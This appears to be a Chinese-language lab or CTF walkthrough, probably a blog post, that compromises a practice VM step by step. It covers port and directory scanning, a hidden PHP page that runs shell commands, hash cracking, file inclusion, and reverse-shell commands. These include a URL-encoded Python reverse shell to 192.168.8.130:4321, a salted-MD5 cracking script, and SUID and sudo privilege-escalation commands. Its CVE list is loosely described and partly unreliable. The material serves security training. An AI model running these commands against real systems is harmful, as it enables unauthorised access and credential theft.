从信息收集到权限提升完整全流程思路渗透过程

一.思考:

1.这个全流程的思路就是信息收集,扫漏洞或开放端口,到后面的开发者失误暴露的密码以及验证方法,登录后获取到了密码以及cmd输入,那可能存在命令注入,或者恶意脚本执行,没思路就去看看唯一一个网站有什么,没有命令方面的,那我们开一个端口,看看这个请求到底,发送了什么,发现有账号密码,登录到另外两个账号,再文件包含进入反弹shell

2.接着就是看目录的db.sql看内容,从反弹shell->mysql数据->社会工程学->权限提升

二.具体过程:

(1)第一步部署这个靶机,登录,首先我们要知道ip,以及他的信息,使用nmap扫c段查看到ip为159,

(2)nmap -O识别目标主机运行的操作系统类型和版本;nmap -v显示详细情况,-sV看一下精准探测开放端口上运行的服务的具体版本信息,-sC自动执行 nmap 内置的 "默认脚本集合",看起来都没什么东西

(3)whatweb扫出来了Apache2.4.62,以及php7.4.33,具体详细在后面,但无法执行,考点不是这个,那么就是80端口的服务了,感觉这个可以加一个cve的使用考点更广泛

PHP 版本漏洞风险

输出暴露了 PHP 版本为 7.4.33,该版本存在多个已知高危漏洞(如 CVE-2021-21703 内存破坏漏洞、CVE-2022-31629 代码执行漏洞),若系统未打补丁,攻击者可结合 Web 漏洞实现代码执行。

(4)Gobuster 是用 Go 语言 编写的轻量级、高速、跨平台命令行工具,核心作用是通过字典爆破(暴力枚举) 的方式,发现 Web 服务器上隐藏的资源(如目录、文件、子域名、S3 存储桶等)。

一、服务版本级漏洞

  1. Apache httpd 2.4.6 漏洞
    • CVE-2017-7668:目录遍历漏洞,攻击者可通过构造特殊请求读取服务器任意文件(如配置文件、敏感数据);
    • CVE-2018-1301:远程代码执行漏洞,可利用恶意请求在服务器上执行任意命令;
    • CVE-2021-41773:路径穿越 + 远程代码执行漏洞,通过构造请求绕过路径限制,执行代码或读取文件。
  2. PHP 7.4.33 漏洞
    • CVE-2022-31629:PDO SQLite 扩展内存破坏漏洞,启用该扩展时,恶意 SQL 语句可触发内存越界,可能导致代码执行;
    • CVE-2021-21703:内存破坏漏洞,特定输入可触发堆内存损坏,导致代码执行;
    • CVE-2022-37454:代码执行漏洞,通过恶意构造的mbstring扩展操作,可实现任意代码执行。

Apache应该被修复或者版本扫描出错,已更新

(5)dirsearch -x 404,400扫描一下,看看目录有哪些可以进行操作的/js,/api,/css,/db.php/logout.php这里面/css和/js没什么,/api可以看见有四个目录,/db.php是数据库的,没权限看

(6)来到我们的80服务段漏洞测试,使用Goby和awvs扫描都没没发现什么漏洞,可以排除sql注入这些漏洞了,那我们接着进行测试,主界面就是一个登录界面,一个注册界面,有没有提权呢,因该是没有,这边后台应该是写禁止admin登录,那一个不会留其他高权限用户,那直接注册,进入看看也没有什么东西

(7)进入后有三个功能,其中两个需要账号,密码,那我们哪里来的账号密码呢,我们需要找找,这个是我们的一个任务,网站测试是一个url框,接受反弹shell,命令注入我测试了没作用,那我们看看反弹shell,或者收集一波请求信息

(8)看看扫描目录的api对应上面三个,但多了一个mgmt_page,那可能在里面有点东西,毕竟是藏起来的东西

(9)开始显示一个维护密码,那我肯定要得到密码,输入123456发现只接受五位数,那么会不会是纯数字,直接bp爆破,发现完全不上,撞库发现也正确密码,这个居然是开发者为了方便,把需要的功能写在前台进行编辑,后续没有删除,这个密码就出来了

(10)来代码审计一下,设置一个correct正确的密码,后续判断是不是get输入,密码是不是空,不是的就把输入密码,放到input里面,判断长度如果不合适打回,合适判断下面和正确密码是不是一样,如果认证成功,则可以接受一个get的cmd进行命令执行

?php

// 设置密码

$correct_password_hash = '96e44fa82e5a5263fb92337be422d3eb';

// 检查密码是否正确

if (_SERVER\['REQUEST_METHOD'\] === 'GET' \&\& isset(_GET['password'])) {

input_password = _GET['password'];

if (strlen($input_password) !== 5) {

$error = "密码长度不正确";

} elseif (md5(input_password) === correct_password_hash) {

$authenticated = true;

// 如果已认证且传入了cmd参数,执行命令

if (isset($_GET['cmd'])) {

output = shell_exec(_GET['cmd']);

}

} else {

$error = "密码错误";

}

}

?

(11).我们使用kali里面自带的一个最大哈希库爆破,两个注意点,哈希库可能要下载一下,还有一个需要加---format=Raw-MD5,密码SOUTH

(12)密码登录后发现,还要弹用户什么的,就算加上cmd也不能执行,维护入口,那先把这个放在这,看看还要一个入口有什么作用

(13)只有一个搜索的了,反弹试试,为了知道为什么不让我访问,我看看他的请求是什么,网络安全与python

from flask import Flask, request

app = Flask(name)

@app.before_request

def log_headers():

print("=== 请求头信息 ===")

for key, value in request.headers.items():

print(f"{key}: {value}")

print("================")

@app.route('/')

def index():

return "请求头已打印到控制台,请查看服务器日志"

app.run(host='0.0.0.0', port=80)

(14)那我们反弹一下,看见一个auth不就是认证,那我们解密一下

fuli:wsGdwWQZTu7U4seseGaG

(15)第一个没什么反馈,第二个提示说看文件包含,那么我们根据下面的提示包含一下隐藏文件,看看能不能执行命令,发现可以

(16)此处,我们进行命令执行就可以获取到第一个flag1.txt了,但是我们看见根下面有flag3.txt,我们打开没有权限,那我们只有进入,如何提权,对他反弹shell一下

(17): 反弹shell,正向shell,靶机nc -lvnp 4321监控一下,有时候反弹不上,测试一下/api/include.php?file=mgmt_page&password=SOUTH&cmd=nc%20-zv%20192.168.8.130%204321,如果返回 succeeded! → 网络通,问题在命令本身;如果返回 failed! → 目标服务器的防火墙 / SELinux 阻止了对外连接,需要换端口(如 80/443)或用 bash 反弹(更隐蔽)。换一个码试试

Nc -lvnp 4321

/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST%3D%22192.168.8.130%22%3Bexport%20RPORT%3D4321%3Bpython3%20-c%20%27import%20socket%2Cos%2Cpty%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28os.getenv%28%22RHOST%22%29%2Cint%28os.getenv%28%22RPORT%22%29%29%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cfd%29%20for%20fd%20in%20%280%2C1%2C2%29%5D%3Bpty.spawn%28%22sh%22%29%27

(18)开始不允许访问,那我们打开db.sql这里看出来有数据库密码,数据库账号,那我们登录看看有什么

(19)发现自建库,自建表,以及内容,那我看看有用户,密码,还要时间,有一个相当于是认证,最后一个数字与时间高度相同,那会不会是时间戳,或者时间与账号密码拼接,然后看见我们创建的1,2都在,那应该是注册自动分配的,那我们可以看看注册表的规则,到底这个认证是怎么来的

|id | username | password|password_changed_at | created_at

| 1 | admin|9eaf9317aac50c955575334a93d0b09c | 1753128055 | 2025-07-22 04:00:55 |

(20)打开html中的index.php,主要找注册信息,看见先输入密码,后验证正确性,都满足后进入时间戳,读取当前的时间,并且与密码进行拼接,拼接后进行MD5

加密形成时间戳密码哈希,那我们反过来爆破一下

(21)写一个py代码将密码的哈希值与认证的auth写下来,使用kali自带的最大字典爆破一下,不能直接使用john因为需要拼接,可以看出我们爆出来了,是chispa,我中途有一个致命错误,我进入的是控制虚拟机界面执行,他的机器不包含nano,使用vim会自动吞掉import的i,只有cat> hsah.py << EOF重定向加cat使用,但是没有这个字典,我就发现只能在本机爆破

import hashlib

target_hash = "9eaf9317aac50c955575334a93d0b09c"

salt = b"1753128055"

wordlist_path = "/usr/share/wordlists/rockyou.txt"

print(f"[*] 开始破解,目标哈希: {target_hash}")

try:

with open(wordlist_path, "rb") as f:

for line in f:

password = line.strip()

try_hash = hashlib.md5(password + salt).hexdigest()

if try_hash == target_hash:

print(f"\n[+] 破解成功! 密码是: {password.decode(errors='ignore')}")

break

else:

print("\n[-] 跑完字典未找到密码。")

except FileNotFoundError:

print("[-] 错误:找不到字典文件 rockyou.txt")

except Exception as e:

print(f"[-] 发生未知错误: {e}")

(22)我们无法登录界面的admin因为已经被禁止了,mysql我们是root登录的,那这个密码有什么作用呢,我们看看这个系统有哪些用户看见有root还有一个benjamin用户,社工思路和密码联想一下,使用这个密码登录的用户,会不会其他密码也是一样呢,那我们试试,发现root错误,但是benjamin成功,那我们看看这个用户有什么,发现flag2.txt

(23)我们接着看看有flag3.txt但是权限不足,那我们现在就想想看是提权,还是登录root,经过我们之前的尝试,登录是不太可能了,利用用户/组的权限体系,使用SUID和SGID权限文件,内核漏洞,计划任务配置缺陷,或sudo权限滥用,突破权限用户,获取root权限先使用Sudu -l的sudo权限滥用,看看系统赋予我们这个用户那些特殊权限,sudo -l查看当前用户被授予的所有 sudo 权限清单的命令看看能不能利用一下,发现可以不用密码让我们使用/bin/cat /root/notes/*读取,那我们看看路径穿越


到此打通关

三.扩展

(1)如果要接着提权,如果需要获取 root shell,还可以尝试构造更复杂的路径,比如读取 /etc/shadow(密码文件)或 /etc/sudoers(sudo 配置文件),看是否能进一步扩大权限。

(2)第二步:若 sudo 无法进一步提权,再排查 SUID/SGID 漏洞

执行以下命令查找系统中所有 root 拥有的 SUID 文件:

find / -perm -4000 -user root 2>/dev/null

比如找到 /bin/find、/usr/bin/vi 等带 SUID 的程序,就可以利用它们提权(例如 find / -exec bash -i \;)。

find /从系统根目录 / 开始,递归查找所有文件和目录-perm -4000匹配设置了 SUID 权限位的文件

  • 4000 对应 Linux 的 SUID(Set User ID)特殊权限位

    • 表示 "只要包含该权限位即可",即文件只要有 SUID 权限就会被选中-user root进一步过滤:仅匹配文件所有者是 root的文件2>/dev/null错误信息重定向:
  • 2 代表标准错误输出(stderr)

  • /dev/null 是 Linux 的 "黑洞" 设备,会丢弃所有写入的内容

  • 作用是隐藏查找过程中出现的 "权限不足" 等错误提示,让输出更清晰

(3) 第三步:若 sudo 和 SUID 都无效,再检查内核漏洞, 执行 uname -a 查看内核版本,ls /etc找os-release,比如输出:

Linux localhost 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

然后根据内核版本(如 3.10.0-1160.el7)在 Exploit-DB 等平台搜索对应的提权 EXP(漏洞利用脚本),尝试内核提权。

四.关注这个项目

(1)https://gtfobins.github.io/

(2)反弹sheel

https://www.revshells.com/

(3)练习语法

相关推荐
合天网安实验室1 天前
记录一个免杀的php webshell demo
渗透测试·php·webshell·免杀
网络安全许木1 天前
自学渗透测试第28天(协议补漏与FTP抓包)
运维·服务器·网络安全·渗透测试·php
世界尽头与你2 天前
FastAPI Swagger Api 接口未授权访问漏洞
安全·网络安全·渗透测试·fastapi
能年玲奈喝榴莲牛奶2 天前
OfficeWeb365 SaveDraw 任意文件上传漏洞
安全·web安全·渗透测试·漏洞复现
网络安全许木2 天前
自学渗透测试第27天(基础补漏与工具的快捷键)
网络安全·渗透测试
锐速网络2 天前
渗透测试中如何验证漏洞真实存在
web安全·网络安全·渗透测试·漏洞复现·sql注入·文件上传漏洞·漏洞验证
锐速网络3 天前
云主机安全:漏洞扫描、渗透测试与加固指南
渗透测试·云安全·云原生安全·漏洞扫描·运维安全·云主机安全·云主机加固
网络安全许木4 天前
自学渗透测试第25天(工具链联动:nmap+whatweb+curl)
网络安全·渗透测试
zjeweler6 天前
万字长文解析:构建从域名发现到框架识别的信息收集
网络安全·渗透测试·信息收集
其实防守也摸鱼6 天前
sqlmap下载和安装保姆级教程(附安装包)
linux·运维·服务器·测试工具·渗透测试·攻防·护网行动